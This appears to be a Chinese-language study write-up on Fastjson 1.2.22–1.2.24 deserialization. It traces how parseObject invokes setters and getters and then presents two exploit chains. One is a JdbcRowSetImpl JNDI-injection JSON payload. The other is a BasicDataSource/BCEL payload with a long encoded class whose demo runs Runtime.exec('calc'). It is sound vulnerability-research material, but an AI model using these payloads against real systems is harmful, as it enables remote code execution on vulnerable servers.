一.基础信息

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
1.2.22 <= Fastjson <= 1.2.24
jdk8u65

二.fastjson学习

首先讲一下fastjson作用是什么,用于解析和生成json数据而生的组件功能如下
1.json转换成java对象	JSON.parseObject	JSON.parse
2.java对象转换成json	JSON.toJSONString	JSON.toJSON
下面我们通过几个案例学习一下。
package com.example.fastjson.demos.web;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import java.io.IOException;

public class Fastjsondome {

    private String name;
    private String sex;
    private int age;
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public Fastjsondome() {
        System.out.println("我是构造函数");
    }
    public Fastjsondome(String name, int age) {
        System.out.println("我是构造函数"+name+age);
    }
    public String getAaaaaa() {
        System.out.println("getaaaaaaaa");
        return sex;
    }
    public void setSex(String sex) {
        System.out.println("setSex"+sex);
        this.sex = sex;
    }
    public String getName() {
        System.out.println("getName+"+name);
        return name;
    }

    public int getAge() {
        System.out.println("getAge+"+age);
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge"+age);
        this.age = age;
    }
    public void setName(int age) {
        System.out.println("setAge"+age);
        this.age = age;
    }
}
Fastjsondome fastjsondome = new Fastjsondome();
//        序列化,对象转成json字符串,会执行Getter
String jsonString = JSON.toJSONString(fastjsondome);
System.out.println(jsonString);
System.out.println("-------------------------------");

在上面的例子中可以反应出JSON.toJSONString会执行所有的Getter包括属性中没有的。
1.执行静态代码块
2.执行构造方法
3.执行所有的Getter
4.返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong(下面代码会讲到)**
package com.example.fastjson.demos.web;
import com.alibaba.fastjson.annotation.JSONField;
import com.alibaba.fastjson.annotation.JSONType;
import java.io.IOException;

public class Fastjsondome {

    private String name;
    private String sex;
    private int age;

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public Fastjsondome() {
        System.out.println("我是构造函数");
    }
    public Fastjsondome(String name, int age) {
        System.out.println("我是构造函数"+name+age);
    }
    public String getAaaaaa() {
        System.out.println("getaaaaaaaa");
        return sex;
    }
    public void setSex(String sex) {
        System.out.println("setSex"+sex);
        this.sex = sex;
    }
    public String getName() {
        System.out.println("getName+"+name);
        return name;
    }

    public int getAge() {
        System.out.println("getAge+"+age);
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge"+age);
        this.age = age;
    }
    public void setName(int age) {
        System.out.println("setAge"+age);
        this.age = age;
    }
}
String J = "{\"@type\":\"com.example.fastjson.demos.web.Fastjsondome\",\"sex\":\"ssssss\",\"age\":\"11111111\"}";
//        会执行Setter
JSON.parseObject(J, Fastjsondome.class);

可以看到执行了所有的Setter但是这里发现没有执行setNmae是因为我们的json数据中没有设置name,但是我们跟进去发现重载了很多,
我们只给一个参数发现会执行Setter Getter(图二),我们跟进去发现其实最后执行了toJSON(图三)那就不奇怪了,下面我们就去分析怎么执行的。
都必须是public, 私有的必须加上 `Object.class` 与 `Feature.SupportNonPublicField`。

总结JSON.parseObject(J)
1.执行Getter Setter(必须是一个参数的并且返回值void或者当前类)
2.执行构造函数和静态代码块

三.代码分析

这里可以调试直接给进去就可以了(图一),text是我们的json数据,72行看看干了什么实际上就是获取第一个字符是不是{是的话就把对象token设置成12,
[设置成14(图3),接着跟进73行(图四,图五),接着再次走进一个叫parseObject的方法(图六),
里面会获取一个key,lexer.scanSymbol就是从第2个字符一直匹配到"获取@type然后进行if判断(图七,图八)。

上面我们分析知道我们传入的json前面比如是这样{"@type",就可以走到这个if,接着走进getDeserializer
一直跟(图一,图二),下面就是查找里面有没有他黑名单的类(图三),直到图四跟进去,在图五跟进去。

上图中我们知道会走进build方法,其中128行会获取我们所有的方法(public),接着会进行遍历,在进行判断开头是不是set开头的方法(图二),在获取方法名给propertyName都意义不大,
主要下面代码会获取所有Getter
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && 
methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && 
method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || 
Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || 
AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType()))
1.方法返回类型必须是下面两种类型或者继承
Collection.class
Map.class
2.方法返回类型必须是下面三种类型
AtomicBoolean.class
AtomicInteger.class
AtomicLong.class

在后面意义不大就直接跳出来,接着会进行一个遍历我们的Setter,然后会查看你是不是public是不是静态方法,如果不是的话asmEnable是false,这里为了方便调试我们让他成为false,下面也有判断注解那我们加个注解(图一)
@JSONField(format = "yyyy-MM-dd HH:mm:ss")
可以看图二,下面我们就走进,在图二中可以看到如果不让他是false那么会走到buld,实际上JavaBeanDeserializer里面也会走到一样的(图三)
return new JavaBeanDeserializer(this, clazz, type);
到这里其实就是把我们的内容进行封装了(图四),接着就一路返回了封装完成之后在走进了最关键的点了
deserializer.deserialze。

接着我们走进deserialze,然后会执行一堆对我们来说没用的东西之后进入createInstance(图一),进去之后发现执行newInstance()成功执行了我们的实例执行了无参构造,接着走进
fieldDeser.setValue(object, fieldValue),可以看到图三中里面利用反射直接执行了Setter,这里强烈建议师傅们跟一下,不是一半句话能理解的,这里Setter就执行了,Getter刚好执行完成后执行到了我们前面说的JSON.toJSON这里我就不跟了大差不差。

四.漏洞分析

上面分析完执行Setter的过程其实是没有什么问题的,但是如果我们的Setter是一个恶意的Setter呢?

###4.1:JdbcRowSetImpl利用连-JNDI注入

其实这个链还是相当简单的,我们去com.sun.rowset.JdbcRowSetImpl类,在connect方法中执行了lookup但是我们现在需要解决两个问题,第一个很明显我们需要控制内容,第二点这个方法并不是Setter和Getter,
首先我们去找getDataSourceName其实是这个类的父类里面(图二),这里我们就去看看有没有Setter,也是有的(图三)而且是public很好这个问题解决了,接着看图四发现在Seter里面setAutoCommit执行了,
ok这个链就结束了,简单吧,下面是构造的exp(代码一)(为什么不执行父类BaseRowSet呢因为这是个抽象方法)。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"JNDI","autoCommit":"false"}

###4.2:BasicDataSource利用连

接下来就上难度了,这个链没有上面好用原因也很简单,上面是无依赖链,这个链需要依赖dbcp。
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.20</version>
</dependency>
首先我们去看一下BasicDataSource类里面的createConnectionFactory方法里面可以进行类加载并且提供了第三个参数指定类加载器(图一),
首先查看这两个参数有没有Setter发现是有的(图二),接下来查看谁调用createConnectionFactory下来到(图三)接着到(图四)可以看到是个Getter,
现在流程已经出来了,接着我们看到ClassLoader类的加载器(图5),forName会调loadclass,这里强烈建议大家跟一下这里不然真不好理解,
下面就是必须是$$BCEL$$开头还有在进行加密一下createClass里面进行了解密(图六),下面就直接上exp吧(代码一)。
byte[] bytes1 = Files.readAllBytes(Paths.get("C:\\Users\\xinyi\\Desktop\\java测试\\Fastjson\\target\\classes\\com\\example\\fastjson\\demos\\web\\Fastjsondome.class"));
String encode1 = Utility.encode(bytes1, true);
System.out.println(encode1);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5U$5dS$hU$Y$7e$W$C$bb$J$9b$96$d2$S$a0$60$f9$a8$b6$40$g$a2X$3fJh$x$adE$d2$f2e$83T$ac_$t$c9$B$W$b3$bb$99$ecb$e9$9d$X$ce$e8$ad$X$ce$f4$ca$f1$ce$hgl$3b$zu$ec$a8$f7$fe$P$99$f1O8$3eg$b3$84$UR$i$c7$cc$e4$9c$bc$ef9$fb$bc$cf$f3$bco$92$3f$fe$fe$e57$A$e7Q$8c$a1$H$93Q$5c$c4$r$D$97cx$LS$3a$ae$c4$d0$82I$b5$5cU$cb$dbj$b9f$60$3a$8an$bcc$me$60F$7d$cc$g$b8$ae$f6$h$G$c6c$98$c5$9c$81y$b5$_$e8X$d4$f1n$M$J$dc$d4$91$d3$b1$a4$n$e2$I$5bj$e8$98$dd$Q$9f$8btI8k$e9$9c_$b1$9c$b5$8c$86$9e$9b$9b$8eo$d9r$d9$f2$ac$7cIN9$8e$eb$L$dfr$jOCr$b6$e0$daiQ$b2$f2$o$_$d2$ab$c2$f37$3c$d7I$8b$da$9d$f4$f5$dc$c2$fc$b4$rKE$o$b5$ae$ba$V$5b$f8$g$8e$df$e5$x57$97$w$W$Hff$sl$7b$c2$pX$b3$t$b7$b8$8a52$d1$b2$bc$3ei9$96$7f$89$a9$e1$91er$bc$ea$Wyrt$d6r$e4$fc$a6$9d$97$95$rA$3e$8a$b5$5b$Q$a5eQ$b1T$i$s$p$fe$baE$ccT$40Pn$J$bb$5c$92$7b$E$8b$d2v$bd$f4$j$99OO$87$a9$a2kKRL$M$l$b4$m$ab$aaG$d7$a4$3f$r$d4K$c3$89$e1$91FF$b5z$d2$cf$v$J$9d$N$40$U$86N$8c$f9$c0$e8V$85$a6tRZ$b6$fad$QF$86$83b$ba$b7$7b$d1$98$y$94B$X4$86$9dU$60$cbMg$X$aem$VdYy$cc$d2$f1$9c$_$K$9f$cd$89r$a0$9e$N$d6$Q$cb$b9$9b$95$82$9c$b6$94$h$c7$eae$8e$v$M$T$a7$f1$a2$8e$f7L$y$e3$W$3d$dc$f9$fa$9b$9d$7b$3f$ed$7c$f7$e5__$7c$ff$e7W$bf$ee$7c$7b_$c7$fb$sV0$a6$a1k$bf$9a$x$9bV$a9$u$x$s$3e$c0m$b5$7ch$e2$p$9c$d3$d0FY$o$7c$99$Y$40$_$F$84$9a$93$sN$aaX$af$wg8$88$n$j$l$9b$f8$E$9fR8$3bX0$n$90$e7t4$d0$a8$e1$e4$k$89p$mk$87JK$81$c3$f8$lZ$ad$a1$7d$Po$n$bf$n$L$fe3$a9$dc$5d$cf$976$fb$e3n$fa$f5$b6$_R$beO$T$a4$b03uL$eb$d2$94XVQ$89$9c$5bE$b9$y$9d$o$c7$b0$d1D$iH$85$b6$S$b8$8fsp$c8$b1$e1$bb$d5$U$3b$7b$c0$W$b6$9e$k$d7$82$ceg$865L$T$p$o$b7$qM$3b$fb$_$cc$W$xnAz$k$l$e8$ae$bf$b9$b4$5eq$ef$a8Y$e3$60$b3$93$dd$fc$99$C$9a$d1$a4$9a$M$f2g$d4$c6$fd$F$beOy$e8$e7$B$a7$81$c9$s$d5v$eeQ$kp$A$b9$be$c4$e82$f3$g$f7$f8$e8$Th$P$d1$d4$d1$bc$8d$c8$83$e0$fa$Z$aeG$88$M$9cB$84$40j$ac$ce22$ab$P$60$Y$p$dc$V$d8h$I$b6$ce$db$ea$feP$I$f6$U$z$xO$d0$aa0$f5$q$df$7d$db0$b6$RmPa$90$V$86$b8$9e$O$w$MTQ$c2$K$eaSU$h$82$3bC$B$e5$q$ce$85U3$bb$S$U$fd$Y$c1G$l$a1$ed$7e$ad$40$8c$3bx$d1$60$d4$88$7e$Kc$n$d0$ed$c0F$a0$bf$8e$ba$ZR$af$d2$kM$3eF$db$7e$ee$p$ec$c0$u$3dJ$G$f0$89$wD$8d$7b$7f$60$3f$7fC$90$ae1$5e$e0s$8a$c4$60$5d$a18$8b$90$f8$91$bdZ$M$f6$abH$b1$bdcu$w$Gk$w$5e$c6$x$87$80$l$ad$82$b7$d7$fcW$c1$8f$fb$c0$c7$J$fejC$f0q$e6$9fo$d11$82$f7$ee$n$f7$3eF$fb$7e$8b$de$a0Eo$d2$a2$L$cf$b1H5UYt$fe$ff$W$ca$a8$3fm$W$baxh$n$D$af$d5$be$A$ab$a1$5d$5d$3f$a3$a3$e3$f86N$dc$fa$B$f1$hO$91X$e1$Qw$fd$fe$m8$8c$d2$92N$5e$3c$T$80$b6p$eda$ae$P$ea$975$ce$f6$s$f8u$db5$$$ce$93$d7$a9$YT$M$e8h$9a$d5qA$7d$e9$s$C$ae$99$7f$A$Lp$UIb$I$A$A\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);

上面就是fastjson1.2.24的常见的两种打法,当然好用的还是jndi的打法,
还有一种打法只存在理论和学习,就是之前我们学习cb链的时候会调用了Getter(getOutputProperties),
后面我也会加上还有其他的打法也会加上,五一了大家节日快乐我也休息几天,后面继续向前学习大家一起进步。